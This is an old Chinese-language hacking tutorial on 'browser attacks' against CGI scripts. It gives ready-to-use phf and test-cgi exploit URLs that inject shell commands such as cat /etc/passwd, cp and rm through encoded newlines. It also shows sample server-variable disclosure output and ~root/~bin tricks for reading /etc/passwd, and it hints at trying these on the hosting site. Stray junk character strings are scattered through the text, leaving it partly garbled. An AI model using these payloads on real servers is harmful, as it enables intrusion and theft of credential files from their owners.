浏览器攻击

在本章我将讲述一些利用浏览器来进行攻击的方法
1。大家都知道了phf攻击了，phf是cgi script,很多站点都有这个大漏洞啦，使用
http://thegnome.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd指令可以拿到那个站点的passwd.但还有些更好的执行方法呦如：
6 M$ O( @% f, D  V4 Lhttp://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnickna

" j: _2 ]- X3 f1 v* d, ?# Ame=&Qoffice_phone=
http://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qname=
* J* G) V5 x5 J9 ~: \7 Y( p% yhaqr&Qemail=&Qnickname=&Qoffice_phone=
) I8 `0 Q8 r0 y$ {& V0 n1 }4 Mhttp://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd
%0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=
+ T) g! }. N3 B! S( Khttp://thegnome.com/~someuser/passwd
http://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qname
3 e, Q8 j* G5 i
$ X: R* V2 Z# D5 c5 i=haqr&Qemail=&Qnickname=&Qoffice_phone=
# s7 @+ O0 B" B- @上面执行的命令是
id
ls -la ~someuser
, G  J9 m8 G8 u8 |' i* q+ ^3 c& ^+ Pcp /etc/passwd ~someuser/passwd
& F8 X) R9 A+ crm ~someuser/passwd

2。有关test攻击
http://thegnome.com/cgi-bin/test-cgi?\whatever
服务器会应答，本服务器的一些情况如：
CGI/1.0 test script report:

* n& w" I/ ?" o* u3 pargc is 0. argv is .

SERVER_SOFTWARE = NCSA/1.4B
SERVER_NAME = thegnome.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.0
SERVER_PORT = 80
+ y, ^* G) h5 X  S- H4 OREQUEST_METHOD = GET
HTTP_ACCEPT = text/plain, application/x-html, application/html,
3 ~$ d' f4 ^2 @5 }8 Gtext/html, text/x-html
+ ?& W  e4 E% P; h: ]3 p$ S+ YPATH_INFO =
PATH_TRANSLATED =
2 v! n; ~' e) Y- `4 {+ o; ~. WSCRIPT_NAME = /cgi-bin/test-cgi
* J: u. V; y7 P. nQUERY_STRING = whatever
REMOTE_HOST = fifth.column.gov
REMOTE_ADDR = 200.200.200.200
& `$ h: n1 w1 CREMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =
! ~9 W. y6 Z* z8 \  V0 a" u
" U+ ^3 h1 E: v8 b好吧，让我们来点赶兴趣的
, u- V7 J& \/ A+ T1 X5 A$ U$ rhttp://thegnome.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd

3。~的应用
~主要是用在很多的个人主页上的快捷目录的方法，如果我们使用这样的~
5 I9 c, x! r3 r3 a( Ehttp://thegnome.com/~root
5 [9 `$ C/ ^& ~6 d9 U# ?http://thegnome.com/~root/etc/passwd
不是在任何平台上都通过呦，在BSD Apache上曾经成功过,当然还可以试试~bin ,~etc,~uucp.....
, w  ?% @9 O+ h, ]5 o. L4 _; _5 @看到这个站点了吗，本站所在的这个站点就是用这种形式的，如果我们打入 本站所在的web地址/~bin
出现了什么，你看到了吗？然后...............注意请不要破坏

( u0 C* J3 q# r; f# Q